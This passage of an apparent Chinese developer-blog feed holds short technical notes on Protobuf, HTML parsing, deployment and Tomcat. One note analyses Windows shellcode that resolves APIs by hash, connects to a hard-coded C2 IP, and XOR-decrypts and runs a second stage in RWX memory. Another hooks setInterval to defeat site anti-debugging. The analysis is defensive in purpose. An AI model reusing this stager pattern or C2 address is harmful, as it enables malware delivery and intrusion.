长连接会被 NAT / 中间设备清理。定期发 MSG_HEART_BEAT 保持连接: 每 30 秒 → client → { msg_id: MSG_HEART_BEAT, seq: N } <-- server ack或者复用订阅消息:SubscribeFlag = KEEP 表示"我还在,别断"。 4. 序列号 seq 请求带 seq、响应带同样 seq——做请求 - 响应对齐。异步双工协议里没这个就乱了。 5. 备用 JSON 通道 json_req / json_resp 备用字段——调试时可以传 JSON,服务端也返 JSON,跳过 proto 编解码。方便排查协议问题。 编译 # 装 protoc brew install protobuf # macOS apt install protobuf-compiler # Ubuntu# 生成代码 protoc --java_out=./gen-java --go_out=./gen-go quote.proto各语言都有 protoc 插件,一个 .proto 文件能同时给 Java / Go / Python / Kotlin / TS 用。这是 Protobuf 最大的价值。 常见坑 1. 默认值不会传输 Proto3 里字段等于默认值(0、空串、false)不会占字节——但也意味着接收端分不清"没设"和"设为 0"。 需要区分时用 oneof 或 google.protobuf.Int32Value 之类的 wrapper 类型。 2. tag 号一旦发布就不能改 改了 tag 号 = 完全不同的字段。老客户端拿到新数据会解析错误。 3. 删除字段用 reserved message User { reserved 3, 5; reserved "old_name"; int32 id = 1; // 不能再用 tag 3 或 5 }避免后人不小心用了同一个 tag。 4. proto2 vs proto3 syntax = "proto2"; 有 optional / required,字段能显式 null。syntax = "proto3"; 简化了很多,新项目都用 proto3。 一句话总结 订阅推送协议的常用模式:Envelope + MsgID enum + Request/Response + seq + 心跳。Proto3 的核心就是 message / enum / repeated / oneof / map。一份 .proto 编成多语言,是它最大的优势。
Cheerio 解析 HTML 表格:动态定位列索引
HTML 表格的列顺序经常变动,硬编码列索引(cells[2])在结构改变后立刻失效。正确做法是先扫描表头行确定目标列的实际位置,再按索引取数据。 核心思路 1. 找到目标表格 2. 读取表头行,确定"销售"列的索引 3. 遍历数据行,按列索引取值 4. 匹配产品名称,验证数值范围完整实现 import * as cheerio from "cheerio";class PriceParser { constructor() { this.validationRules = { gold: { min: 400, max: 1000 }, // 元/克 silver: { min: 3, max: 20 }, }; } parsePrices(html) { const $ = cheerio.load(html); const result = { goldPrice: null, silverPrice: null }; $("table").each((_, table) => { const rows = $(table).find("tr"); if (rows.length < 2) return; // 扫描表头行,定位"销售"列 let saleColumnIndex = -1; rows.first().find("th, td").each((i, cell) => { if ($(cell).text().trim().includes("销售")) { saleColumnIndex = i; return false; // break } }); if (saleColumnIndex < 0) return; // 遍历数据行 rows.each((rowIndex, row) => { if (rowIndex === 0) return; // 跳过表头 const cells = $(row).find("td, th"); if (!cells.length) return; const productName = $(cells[0]).text().trim(); // 匹配黄金9999 if ( (productName === "黄金9999" || productName === "黄金 9999") && !result.goldPrice ) { result.goldPrice = this.extractPrice( $(cells[saleColumnIndex]).text().trim(), this.validationRules.gold ); } // 匹配白银(排除含"黄金"的行) if ( productName === "白银" && !productName.includes("黄金") && !result.silverPrice ) { result.silverPrice = this.extractPrice( $(cells[saleColumnIndex]).text().trim(), this.validationRules.silver ); } }); }); return result; } extractPrice(text, { min, max }) { const match = text.match(/(\d+\.?\d*)/); if (!match) return null; const price = parseFloat(match[1]); if (price < min || price > max) return null; // 超出合理范围 return price.toFixed(2); } }// 使用 const parser = new PriceParser(); const { goldPrice, silverPrice } = parser.parsePrices(html);关键点解析 动态列定位:用 .includes("销售") 而不是固定索引,表格新增或删除列时代码无需修改。 数值范围验证:validationRules 定义合理价格区间,过滤掉格式异常或明显错误的数据(如抓到表格里的其他数字)。 产品名精确匹配:productName === "黄金9999" 而不是 .includes("黄金"),防止把"黄金饰品9999"也匹配进来。!productName.includes("黄金") 在白银行再加一层保护。 多语言/别名的处理 如果表格里的产品名不统一(黄金9999、黄金 9999、Au9999 混用): const GOLD_NAMES = new Set(["黄金9999", "黄金 9999", "Au9999", "足金9999"]);if (GOLD_NAMES.has(productName) && !result.goldPrice) { ... }调试技巧 遇到解析不到数据时,先打印表格 HTML 确认结构: $("table").each((i, table) => { console.log(`Table ${i}:`, $.html(table).slice(0, 500)); });再检查表头文本是否有空格或全角字符: rows.first().find("th, td").each((i, cell) => { console.log(`Header ${i}: "${$(cell).text().trim()}"`); });页面改版后表格结构变化,这两步能快速定位问题所在。
GLIBC 版本不兼容:node_sqlite3.node 报 GLIBC_2.38 not found 的解决方法
Error: /lib64/libm.so.6: version `GLIBC_2.38' not found (required by node_modules/sqlite3/build/Release/node_sqlite3.node)典型场景:本地 Ubuntu 24 编译后,将整个 node_modules 上传到 CentOS 7 / Rocky 8 / 老 Ubuntu 服务器,因为 glibc 版本不匹配,native addon 加载失败。 确认系统 glibc 版本 ldd --version # ldd (GNU libc) 2.17 ← 远低于 2.38sqlite3 native addon 编译时用了 GLIBC_2.38 的符号,但服务器的 /lib64/libm.so.6 只支持到 2.17,因此 dlopen 失败。 解决方案 方案 1:服务器重新编译(推荐) 在目标服务器上重新安装或重编译 native 模块: # 进入项目目录 cd /your/project# 先删除已有 node_modules rm -rf node_modules package-lock.json# 重新安装(会在当前服务器编译 .node 文件) npm install# 或者只重编译 sqlite3 npm rebuild sqlite3如果编译报错,需要先安装编译工具链: CentOS / RHEL: yum groupinstall "Development Tools" -y yum install python3 gcc gcc-c++ make -yUbuntu / Debian: apt install build-essential python3 make g++ -y然后再执行 npm rebuild sqlite3。 方案 2:不要跨系统上传 node_modules 根本原因是 native addon 的 .node 文件是平台相关的二进制,不能跨系统复用。正确的部署流程: # 本地:只上传源码,不上传 node_modules git push # 或 scp 项目文件,排除 node_modules# 服务器:安装 npm install将 node_modules/ 加入 .gitignore 和 rsync --exclude。 方案 3:改用 better-sqlite3 sqlite3 的 native binding 经常出现编译问题。better-sqlite3 维护更活跃且通常编译更顺畅: npm uninstall sqlite3 npm install better-sqlite3API 略有不同(同步而非回调),迁移成本视代码量而定。 为什么 GLIBC 版本不能降级升级 glibc 是系统核心库,版本升级风险极高(可能导致系统无法启动),降级几乎不可能。唯一可靠的方式是在目标环境重新编译,或用 Docker 把运行环境固定下来: FROM node:18-bullseye-slim WORKDIR /app COPY package*.json ./ RUN npm install COPY . . CMD ["node", "server.js"]容器化后 glibc 版本由镜像固定,不再受宿主机影响。
x64 Windows Shellcode 分析:PEB 遍历与哈希 API 解析
无导入表 Shellcode 的核心思路 普通 PE 文件有导入地址表(IAT),链接器在加载时帮你填好函数地址。Shellcode 注入到任意内存后没有这张表,需要在运行时自己找函数地址。经典方案: gs:[60h] → PEB → InMemoryOrderModuleList → kernel32 基址 ↓ 遍历导出表(Export Directory) ↓ 对每个函数名计算哈希,与目标哈希比较 ↓ 找到后读 AddressOfFunctions 得到实际地址读 PEB 找 kernel32 x64 上 PEB 地址固定在 gs:[60h]: mov rax, gs:[60h] ; rax = PEB mov rax, [rax+18h] ; rax = PEB_LDR_DATA mov rax, [rax+10h] ; rax = InLoadOrderModuleList.Flink ; 第三个模块通常是 kernel32.dll对应 C 结构: PEB → PEB_LDR_DATA PEB_LDR_DATA → InMemoryOrderModuleList (index 0: ntdll, index 1: kernel32)导出表哈希匹配 Shellcode 不存储函数名字符串,而是存预计算好的哈希值,避免明文暴露。常见算法(ROR-13 变体): def ror13_hash(name: bytes) -> int: h = 0 for c in name: h = ((h >> 13) | (h << 19)) & 0xFFFFFFFF h = (h + c) & 0xFFFFFFFF return hShellcode 中看到的调用模式: mov ecx, 0726774Ch ; LoadLibraryA 的预计算哈希 call resolve_api ; 通用 API 解析函数,返回地址在 raxresolve_api 函数做以下事情: 1. 遍历 InMemoryOrderModuleList 2. 对每个模块读 Export Directory 3. 遍历 AddressOfNames,计算每个函数名的哈希 4. 哈希匹配时: AddressOfNameOrdinals[i] → ordinal AddressOfFunctions[ordinal] → RVA → 实际地址动态加载 DLL 找到 LoadLibraryA 后,用栈上逐字节写入的字符串加载目标库,避免字符串明文出现在数据段: ; 构造 "user32.dll" 字符串 mov dword ptr [rbp-70h], 'resu' ; "user" mov dword ptr [rbp-6Ch], 'd.23' ; "32.d" mov dword ptr [rbp-68h], 'll' ; "ll" mov byte ptr [rbp-66h], 0 ; null terminator lea rcx, [rbp-70h] call rbx ; LoadLibraryA("user32.dll")同样方式加载 ws2_32.dll、msvcrt.dll。 网络反连结构 加载 ws2_32 后按标准顺序调用 WinSock API: ; 初始化 WinSock mov ecx, 202h ; wVersionRequested = 2.2 call WSAStartup; 创建 socket ; socket(AF_INET=2, SOCK_STREAM=1, IPPROTO_TCP=6) call socket; 填充 sockaddr_in,IP 写入栈上 ; 102.217.197.174:port(字节倒序写入) call connect; 接收第二阶段 payload call recvC2 IP 以字节方式分散写入栈帧,IDA/Ghidra 不会自动识别为字符串,需手动组合。 VirtualAlloc + XOR 解密执行 接收到加密 payload 后: ; 申请可执行内存 mov ecx, <payload_size> xor r8d, r8d mov r9d, 40h ; PAGE_EXECUTE_READWRITE call VirtualAlloc; XOR 解密循环 .loop: xor byte ptr [rcx+rdi], 99h ; key = 0x99 inc rdi cmp rdi, rcx jl .loop; 跳转执行 call rax整体执行流程 gs:[60h] → PEB ↓ 遍历模块链 → kernel32 基址 ↓ 导出表哈希解析 → GetProcAddress / LoadLibraryA ↓ LoadLibraryA("ws2_32.dll") LoadLibraryA("user32.dll") ↓ WSAStartup → socket → connect(C2) ↓ recv(encrypted_payload) ↓ VirtualAlloc(RWX) ↓ XOR 解密 ↓ 执行第二阶段 payload这种结构是 Cobalt Strike Beacon、Meterpreter stager 等红队工具的标准 stager 模式。理解它有助于防御侧在内存中识别 shellcode 特征、提取 C2 地址。 快速识别特征特征 含义gs:[60h] 读取 读 PEB,无导入表 shellcode 标志mov ecx, <4字节哈希>; call fn 哈希解析 API 调用模式栈上逐字节写字符串 隐藏 DLL 名称VirtualAlloc + PAGE_EXECUTE_READWRITE 申请可执行内存准备执行 payload循环 XOR 解密第二阶段 shellcode实际分析时,先定位 resolve_api 函数,把所有哈希值批量还原成函数名,再按调用顺序梳理业务逻辑,速度会快很多。
Windows 编译 DLL:MSVC cl.exe 与 MinGW g++ 对比
最小示例 dllmain.cpp: #include <windows.h> #include <stdio.h>extern "C" __declspec(dllexport) void HelloFromDll() { MessageBoxA(NULL, "Hello from DLL", "DLL", MB_OK); }BOOL APIENTRY DllMain(HMODULE hModule, DWORD reason, LPVOID lpReserved) { return TRUE; }MSVC cl.exe 编译 cl /LD /EHsc /Y- dllmain.cpp user32.lib参数说明:参数 含义/LD 编译为 DLL(输出 .dll + .lib)/LDd Debug 版 DLL/EHsc 启用 C++ 标准异常处理/Y- 禁用预编译头(避免找不到 pch.h)user32.lib 链接 user32(MessageBox 所在库)必须在正确的命令提示符里运行 普通 cmd 里没有 cl 命令,必须用: 开始菜单 → Visual Studio 20xx → x64 Native Tools Command Prompt for VS 20xx 或在普通 cmd 里手动初始化: call "C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\Build\vcvars64.bat" cl /LD /EHsc /Y- dllmain.cpp user32.libvcvars64.bat 路径随 VS 版本和安装目录变化,注意替换。 输出文件 成功后生成:dllmain.dll — 动态链接库 dllmain.lib — 导入库(供其他项目链接用) dllmain.exp — 导出表MinGW g++ 编译(不需要 VS) 安装 MinGW 后: g++ -shared -o test.dll dllmain.cpp -luser32或指定目标架构: x86_64-w64-mingw32-g++ -shared -o test.dll dllmain.cpp -luser32MinGW 编译的 DLL 默认导出所有 extern "C" 函数,不需要 .def 文件。 预编译头问题(/Y-) VS 新建项目默认启用预编译头,会生成 pch.h 和 pch.cpp。手写 .cpp 文件如果没有包含 pch.h,编译时报: fatal error C1010: unexpected end of file while looking for precompiled header解决方法:加 /Y- 禁用预编译头(适合独立小文件) 在每个 .cpp 第一行加 #include "pch.h" 在文件属性里设置「不使用预编译头」导出函数声明 C++ 有 name mangling,跨语言调用需要 extern "C" 防止符号被修饰: // 头文件 #ifdef MYDLL_EXPORTS #define MYDLL_API __declspec(dllexport) #else #define MYDLL_API __declspec(dllimport) #endifextern "C" MYDLL_API int Add(int a, int b);用 .def 文件显式指定导出名(不受 extern "C" 影响): LIBRARY mydll EXPORTS Add @1 Hello @2编译时加 /DEF:mydll.def。 验证导出 dumpbin /exports dllmain.dll或用 Dependency Walker、x64dbg 查看导出表。
开源进程联网通知工具:Windows / Linux / macOS 对比
需求场景 想知道哪个进程在悄悄联网、连的是什么地址,并在出现新连接时弹出通知或提示。 Windows:Windows Firewall Notifier(WFN) GitHub: LeBlue/wfn 基于 Windows 内置防火墙的审计日志,当有进程触发出站连接时弹出通知气泡,可以选择「允许」或「拒绝」,行为类似 macOS 的 LuLu。 特点:不需要驱动,利用 Windows 防火墙事件日志(Event ID 5156/5157) 支持创建防火墙规则白名单 .NET 实现,需要 .NET Runtime启动前需要启用 Windows 防火墙的连接日志: # 以管理员身份运行 auditpol /set /subcategory:"Filtering Platform Connection" /success:enable /failure:enableWindows:Sniffnet(Rust 跨平台) GitHub: GyulyVGC/sniffnet 用 Rust 编写的网络流量监控工具,有图形界面,实时显示每个连接的进程、IP、国家、流量统计。 特点:跨平台(Windows / Linux / macOS) 可过滤特定进程或协议 流量图表可视化 不能主动拦截,只做监控和统计适合想直观看到哪些进程在产生流量、流量走向哪里的场景。 Linux:Picosnitch(eBPF) GitHub: elesiuta/picosnitch 基于 eBPF 的进程网络监控,内核级捕获,开销极低。 特点:记录每个进程的 DNS 查询和连接 SQLite 存储历史 支持通知(desktop notification) 需要 Linux 5.8+ 内核和 root 权限安装: pip install picosnitch sudo picosnitch startmacOS:LuLu GitHub: objective-see/LuLu Objective-See 出品的免费防火墙,功能类似商业的 Little Snitch。 特点:新进程首次出站连接时弹出授权窗口 可以创建规则(允许/拒绝) 显示进程路径、签名、目标地址对比工具 平台 技术原理 能拦截 特点WFN Windows 防火墙审计日志 是 弹窗授权Sniffnet 跨平台 pcap 否 流量可视化Picosnitch Linux eBPF 否 低开销,历史记录LuLu macOS 内核扩展 是 弹窗授权,免费想要拦截 + 弹窗授权:Windows 用 WFN,macOS 用 LuLu。只想监控流量走向:Sniffnet 最直观。Linux 生产环境审计:Picosnitch + SQLite 日志。
systemd Service 设置工作目录:WorkingDirectory 与 ExecStart 相对路径
systemd service 文件通过 WorkingDirectory 指令设置进程启动后的工作目录,等同于 cd 后再执行命令。 基本配置 [Unit] Description=My App Service[Service] Type=simple User=www-data WorkingDirectory=/opt/myapp ExecStart=/usr/bin/python3 main.py Restart=always RestartSec=5[Install] WantedBy=multi-user.target设置 WorkingDirectory=/opt/myapp 后:ExecStart 中的相对路径基于 /opt/myapp 程序内 os.getcwd()(Python)或 process.cwd()(Node.js)返回 /opt/myapp 读写相对路径的文件(如 config.json、logs/)都指向该目录修改配置后重新加载 sudo systemctl daemon-reload sudo systemctl restart myapp.service# 查看服务状态 systemctl status myapp.service每次修改 .service 文件都需要 daemon-reload,否则 systemd 不会读取新配置。 常见问题 User 与目录权限 如果指定了 User=www-data,该用户必须对 WorkingDirectory 有读取权限(通常还需要写权限): sudo chown www-data:www-data /opt/myapp sudo chmod 750 /opt/myapp带有空格的路径 WorkingDirectory=/opt/my app/ # 错误,空格无需引号但会导致解析问题 WorkingDirectory="/opt/my app" # 正确,用引号包裹ExecStart 中用绝对路径 ExecStart 建议始终用绝对路径,避免 $PATH 不同导致找不到命令: ExecStart=/usr/bin/node /opt/myapp/server.js # 不要写:ExecStart=node server.js查看服务文件位置 # 列出所有用户服务文件 ls /etc/systemd/system/# 查看某个服务的完整配置(包括覆盖) systemctl cat myapp.service服务文件通常放在 /etc/systemd/system/ 下,命名为 <name>.service。
剪映批量导出自动化:AutoHotkey、draft_content.json 和 FFmpeg 三种方案
三种方案对比方案 适用场景 优点 缺点AutoHotkey 模拟 UI 几十个工程、保留特效 最稳、兼容所有剪映功能 慢、易被 UI 改版搞炸修改 draft_content.json 矩阵号、批量换素材/文案 工业化效率高 剪映 6+ 有加密问题FFmpeg / MoviePy 图片转视频、批量混剪 服务器可跑、不依赖剪映 无法保留剪映特效方案一:AutoHotkey(最稳) 适合"几十个工程挨个导出"的场景,不需要了解剪映内部格式: Loop, Files, D:\jianying_projects\*.draft { Run, "C:\Program Files\JianyingPro\JianyingPro.exe" "%A_LoopFileFullPath%" Sleep, 10000 ; 点击导出按钮(坐标需根据实际分辨率调整) Click, 1800, 1000 Sleep, 3000 ; 点击确认导出 Click, 1700, 950 ; 等待渲染完成 Sleep, 60000 WinClose, 剪映专业版 }坐标需要根据自己的屏幕分辨率和剪映版本调整。可以用 AHK 内置的 MouseGetPos 命令在悬停时获取当前坐标。 方案二:修改 draft_content.json(矩阵号核心) 剪映草稿本质是 JSON,位于草稿目录下的 draft_content.json。批量替换流程: 模板工程 ↓ Python 复制草稿目录 ↓ 修改 draft_content.json(替换素材路径/字幕文本) ↓ 生成 N 个草稿 ↓ AutoHotkey 自动打开逐个导出Python 批量复制并替换字幕示例: import shutil import json import re from pathlib import Pathtemplate = Path("D:/drafts/template") output_base = Path("D:/drafts/output")texts = ["第一集内容", "第二集内容", "第三集内容"]for i, text in enumerate(texts): dst = output_base / f"episode_{i+1}" shutil.copytree(template, dst) draft_file = dst / "draft_content.json" data = json.loads(draft_file.read_text(encoding="utf-8")) # 替换字幕文本(具体字段名以实际工程为准) content_str = json.dumps(data, ensure_ascii=False) content_str = re.sub(r'"占位文本"', f'"{text}"', content_str) draft_file.write_text(content_str, encoding="utf-8")注意:剪映 6+ 加密问题 从剪映专业版 6.x 开始,draft_content.json 部分字段开始加密,很多老方案失效。目前社区常见的做法:锁定在剪映 5.9 不升级 使用开源项目如 pyJianYingDraft 或 capcut-cli方案三:FFmpeg(不经过剪映) 如果只是图片转视频、批量加字幕、批量合并,完全不需要剪映: # 图片+音频合成视频 ffmpeg -loop 1 -i cover.jpg -i bgm.mp3 \ -shortest \ -vf "scale=1920:1080" \ output.mp4# 批量处理(bash) for img in *.jpg; do ffmpeg -loop 1 -i "$img" -i bgm.mp3 -shortest -vf "scale=1920:1080" "${img%.jpg}.mp4" doneFFmpeg 的缺点是没有剪映的智能字幕、卡点、AI 特效,对"剪映味"的视频替代不了。 实际推荐路线(混合方案) Python 改草稿 JSON(批量换内容) + 剪映负责特效渲染 + AutoHotkey 自动导出剪映最有价值的是特效引擎和 AI 功能,时间轴批量生成用代码做,特效用剪映渲染,导出用自动化点击。这是目前短视频矩阵账号的主流技术路线。
PyInstaller 打包 FastAPI + Uvicorn:启动文件写法与依赖收集
直接打包 uvicorn main:app 的方式容易出现模块找不到的问题,推荐单独写入口文件。 项目结构 project/ ├── main.py # FastAPI app 定义 ├── start.py # PyInstaller 打包入口 ├── templates/ # Jinja2 模板(如有) └── static/ # 静态文件(如有)入口文件 start.py 关键点:直接传 app 对象,不用字符串 import uvicorn from main import appif __name__ == "__main__": uvicorn.run(app, host="0.0.0.0", port=8000)字符串形式 uvicorn.run("main:app", ...) 在 PyInstaller 环境中无法动态导入,会报: Error loading ASGI app. Could not import module "main"打包命令 基础打包: pyinstaller -F start.pyFastAPI/Uvicorn 有大量动态导入,需要显式收集: pyinstaller -F start.py \ --collect-all fastapi \ --collect-all uvicorn \ --collect-all starlette \ --collect-all pydantic包含模板和静态文件(macOS/Linux 用 :,Windows 用 ;): # Linux/macOS pyinstaller -F start.py \ --collect-all fastapi \ --collect-all uvicorn \ --collect-all starlette \ --collect-all pydantic \ --add-data "templates:templates" \ --add-data "static:static"# Windows pyinstaller -F start.py ^ --collect-all fastapi ^ --collect-all uvicorn ^ --collect-all starlette ^ --collect-all pydantic ^ --add-data "templates;templates" ^ --add-data "static;static"打包后静态文件路径 打包后程序解压到临时目录,__file__ 路径会变。读取打包内的文件需要: import sys import osdef get_resource_path(relative_path): if getattr(sys, 'frozen', False): base = sys._MEIPASS # PyInstaller 临时目录 else: base = os.path.dirname(__file__) return os.path.join(base, relative_path)# 挂载静态文件 from fastapi.staticfiles import StaticFiles app.mount("/static", StaticFiles(directory=get_resource_path("static")), name="static")常见错误 ModuleNotFoundError: No module named 'uvicorn.loops' --collect-all uvicornpydantic validator 找不到 --collect-all pydanticmultiprocessing 相关报错 确保 start.py 有 if __name__ == "__main__": 保护,避免多进程递归启动。 生产环境建议 PyInstaller 打包适合桌面工具分发,生产服务器更推荐:Docker 容器(环境固定、更新方便) systemd + venv(直接部署,无需打包) Supervisor 管理进程打包后可执行文件体积通常在 50-150 MB,启动时间比直接运行慢 3-10 秒。
用 Proxy hook setInterval 拦截反调试 debugger
初版的问题 常见的 setInterval debugger 拦截写法有几个缺陷: (function(){ window._setInterval = window.setInterval; // 污染全局 window.setInterval = function (fn, delay, ...args) { let code = typeof fn === "function" ? fn.toString() : fn; if (code.includes("debugger")) { return null; // ❌ 返回 null 会让部分站点报错 } return _setInterval(fn, delay, ...args); // ❌ _setInterval 在闭包外查找可能丢失 }; })()问题汇总:fn.toString() 可被重写 getter 绕过 返回 null 时,站点调用 clearInterval(null) 或存 timer ID 会报错 _setInterval 挂到 window 上,污染全局命名空间 没有 hook clearInterval,假 ID 泄漏改进版:Proxy + 假 timer ID (() => { const rawSetInterval = window.setInterval; const rawClearInterval = window.clearInterval; const fakeTimers = new Set(); let fakeId = 1_000_000; function shouldBlock(fn) { try { let code = ""; if (typeof fn === "function") { code = Function.prototype.toString.call(fn); // 绕过 toString 重写 } else if (typeof fn === "string") { code = fn; } if (!code) return false; if (/\bdebugger\b/.test(code)) { console.warn("拦截到 debugger interval:", code); return true; } if (/while\s*\(\s*true\s*\)/.test(code)) { console.warn("拦截到死循环 interval:", code); return true; } } catch (e) { console.error("检测 interval 出错:", e); } return false; } window.setInterval = new Proxy(rawSetInterval, { apply(target, thisArg, args) { const [fn] = args; if (shouldBlock(fn)) { const id = fakeId++; fakeTimers.add(id); return id; // 返回真实格式的假 ID,不返回 null } return Reflect.apply(target, thisArg, args); } }); window.clearInterval = new Proxy(rawClearInterval, { apply(target, thisArg, args) { const [id] = args; if (fakeTimers.has(id)) { fakeTimers.delete(id); // 吞掉对假 ID 的 clearInterval 调用 return; } return Reflect.apply(target, thisArg, args); } }); console.log("setInterval hook 已启动"); })();关键设计点 为什么用 Function.prototype.toString.call(fn) 而不是 fn.toString() 站点可以重写 fn.toString 或者在函数对象上挂 getter: const fn = () => {}; fn.toString = () => "() => {}"; // 伪造源码而 Function.prototype.toString 直接从函数底层获取源码,无法被实例属性覆盖。 为什么返回假 timer ID 而不是 null 很多站点会存 timer ID 用于后续 clearInterval: const tid = setInterval(check, 100); // 之后 clearInterval(tid);如果 tid === null,clearInterval(null) 在部分引擎下会抛异常,或者日志里产生噪声。返回 1_000_000 以上的数字既像真实 ID,又不会和浏览器分配的 ID 冲突。 为什么同步 hook clearInterval 假 ID 进入 fakeTimers Set 之后,站点持有这个 ID 并在后续调用 clearInterval(fakeId)。如果不 hook,这个调用会传给原生 clearInterval,可能误清真实定时器(原生 ID 碰巧相同)或产生错误。 为什么用 Proxy 而不是直接赋值 Proxy 保留了 length、name 等函数元信息,instanceof 检测也更接近原生。部分站点会用 typeof setInterval === "function" 或特征检测来判断是否被 hook,Proxy 比直接赋值的闭包函数更难被识别。 可扩展检测项 如果需要更宽泛的反调试拦截,可以在 shouldBlock 里补充: // 检测 setTimeout debugger(同理 hook setTimeout) // 检测 constructor/eval 执行 debugger 字符串 if (/\bFunction\s*\(/.test(code)) return true; if (/\beval\s*\(/.test(code)) return true;现代站点已经较少用 setInterval(debugger) 这种低级方式,更多见的是混淆后的字节码或 WebAssembly 版本的反调试,这类情况 setInterval hook 就无法覆盖了。
JavaScript 将 img 元素导出为 Base64:canvas.toDataURL 与跨域处理
基础方法:canvas.toDataURL 将页面中已有的 <img> 元素转为 Base64: function imgToBase64(img, type = 'image/png') { const canvas = document.createElement('canvas'); canvas.width = img.naturalWidth; canvas.height = img.naturalHeight; const ctx = canvas.getContext('2d'); ctx.drawImage(img, 0, 0); return canvas.toDataURL(type); // 'data:image/png;base64,...' }// 等待图片加载后调用 const img = document.querySelector('img'); img.onload = () => { const base64 = imgToBase64(img); console.log(base64); };// 图片已加载时直接调用 if (img.complete) { const base64 = imgToBase64(img); }naturalWidth/naturalHeight 是图片的原始尺寸,避免取到 CSS 设置的显示尺寸。 跨域图片:crossOrigin='anonymous' 图片来自不同域名时,需要设置 crossOrigin 才能在 canvas 中使用: async function urlToBase64(url) { const img = new Image(); img.crossOrigin = 'anonymous'; img.src = url; await new Promise((resolve, reject) => { img.onload = resolve; img.onerror = reject; }); const canvas = document.createElement('canvas'); canvas.width = img.naturalWidth; canvas.height = img.naturalHeight; canvas.getContext('2d').drawImage(img, 0, 0); return canvas.toDataURL('image/png'); }服务端必须在响应头中返回 Access-Control-Allow-Origin: *,否则 canvas 被标记为"污染(tainted)",调用 toDataURL() 会报错: SecurityError: Failed to execute 'toDataURL' on 'HTMLCanvasElement': Tainted canvases may not be exported.跨域无 CORS 头:fetch + FileReader 当目标服务器没有设置 CORS 头时,可以走服务端代理,或在同源页面中用 fetch 请求(如果存在跨域会被拦截)。另一种方案是在已有权限的上下文(如油猴脚本设置 @grant GM_xmlhttpRequest)中绕过同源限制: // 同源或有权限的上下文 async function urlToBase64ViaFetch(url) { const res = await fetch(url); const blob = await res.blob(); return new Promise((resolve) => { const reader = new FileReader(); reader.onloadend = () => resolve(reader.result); reader.readAsDataURL(blob); }); }指定输出格式和质量 canvas.toDataURL('image/png'); // PNG,无损 canvas.toDataURL('image/jpeg', 0.8); // JPEG,质量 80% canvas.toDataURL('image/webp', 0.9); // WebP(非所有浏览器支持)JPEG 不支持透明通道,带透明背景的图片转 JPEG 后透明部分会变黑,建议用 PNG。
Servlet 规范与 Tomcat 版本对照表 + JDK 兼容性
维护老 SSM/SSH 项目常遇到——web.xml 里 version="2.5",跑起来应该配哪个 Tomcat?JDK 8 能跑吗?先给对照表: Servlet 与 Tomcat 版本对照Servlet 版本 Tomcat 版本 官方支持 JDKServlet 2.4 Tomcat 5.0/5.5 Java 1.4 / 5Servlet 2.5 Tomcat 6.x Java 5 / 6Servlet 3.0 Tomcat 7.x Java 6 / 7Servlet 3.1 Tomcat 8.0 Java 7 / 8Servlet 3.1 Tomcat 8.5 Java 7 / 8Servlet 4.0 Tomcat 9.x Java 8+Jakarta Servlet 5 Tomcat 10.x Java 8+Jakarta Servlet 6 Tomcat 11.x Java 17+Tomcat 10 是分水岭——包名从 javax.servlet.* 改到 jakarta.servlet.*。老代码原封不动放 Tomcat 10 直接编译不过。 判断项目该用哪个 打开 web.xml,看头部: <web-app version="2.5" xmlns="http://java.sun.com/xml/ns/javaee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_2_5.xsd"> </web-app>version="2.5" 就是 Servlet 2.5,对应 Tomcat 6+。 JDK 8 能跑 Servlet 2.5 项目吗 能。稳定组合:项 推荐Servlet 规范 2.5(保持 web.xml 不变)Tomcat 7.0.109(最后一个 7.x)JDK 1.8Spring 3.x / 4.xMyBatis 3.x理由:Tomcat 7 向下兼容 Servlet 2.5(Tomcat 是超集) Tomcat 7 完整支持 JDK 8,无 PermGen 问题 Tomcat 6 对 JDK 8 支持不完整,从 6.0.53 才勉强能跑,还是别用了迁移 Tomcat 6 到 Tomcat 7 要改什么 九成情况什么都不用改。真要改的坑: 1. web.xml schema 版本:可以不动。Tomcat 7 依然接受 web-app version="2.5"。 2. JSP 的 EL 表达式:Tomcat 7 默认 EL 2.2、Tomcat 6 是 EL 2.1。有些字符串比较写法(比如 ${x eq null})在两版本略有差异,一般不影响。 3. 端口 / 编码:server.xml 里 Connector 改: <Connector port="8080" protocol="HTTP/1.1" connectionTimeout="20000" URIEncoding="UTF-8" redirectPort="8443" />URIEncoding="UTF-8" 治所有 GET 参数中文乱码。 4. session:Tomcat 7 默认关闭了 sessionId URL 追加(;jsessionid=xxx)。老 JSP 依赖 <c:url> 处理会不同,一般不影响。 Maven 里跑 Tomcat:tomcat7-maven-plugin 不装 Tomcat 也能跑,用 Maven 插件: <build> <plugins> <plugin> <groupId>org.apache.tomcat.maven</groupId> <artifactId>tomcat7-maven-plugin</artifactId> <version>2.2</version> <configuration> <port>8080</port> <path>/</path> <uriEncoding>UTF-8</uriEncoding> </configuration> </plugin> </plugins> </build>跑: mvn tomcat7:run这个插件已经没维护 10 多年了,但对 Servlet 2.5 老项目照样能跑。生产别用,本地开发够。 Tomcat 8/9 呢 Servlet 2.5 项目理论上放 Tomcat 8/9 也能跑(javax.servlet 包名不变)。但会遇到:老 Spring 3.x 和 Tomcat 8 的 WebSocket 冲突 一些 EL 2.2 / 3.0 的表达式行为差异 JSP 编译器更严格迁移建议:如果项目还在开发新功能,直接升到 Tomcat 9 + JDK 8 + Servlet 3.x(web.xml 头改一下);只是维护,稳留 Tomcat 7 + JDK 8。 Tomcat 10+ 的 jakarta 大坑 老代码: import javax.servlet.http.HttpServletRequest;Tomcat 10 只认: import jakarta.servlet.http.HttpServletRequest;想迁移,用官方工具批量替换: # Eclipse Transformer java -jar org.eclipse.transformer.cli-*.jar \ --input old.war --output new.war或者手工找替换: find . -name "*.java" -exec sed -i 's/javax\.servlet/jakarta.servlet/g' {} +改完还要处理 Spring 版本——Spring 5.x 只支持 javax.servlet,要 jakarta 得升到 Spring 6.x(同时 JDK 17+)。这是个大工程,不是小改。 一句话总结 老 Servlet 2.5 项目最稳的组合是 Tomcat 7.0.109 + JDK 8。Tomcat 10 起改包名 jakarta,迁移是大工程。开发用 tomcat7-maven-plugin 快。
Python str.translate 自定义 Base64:字符替换编解码原理
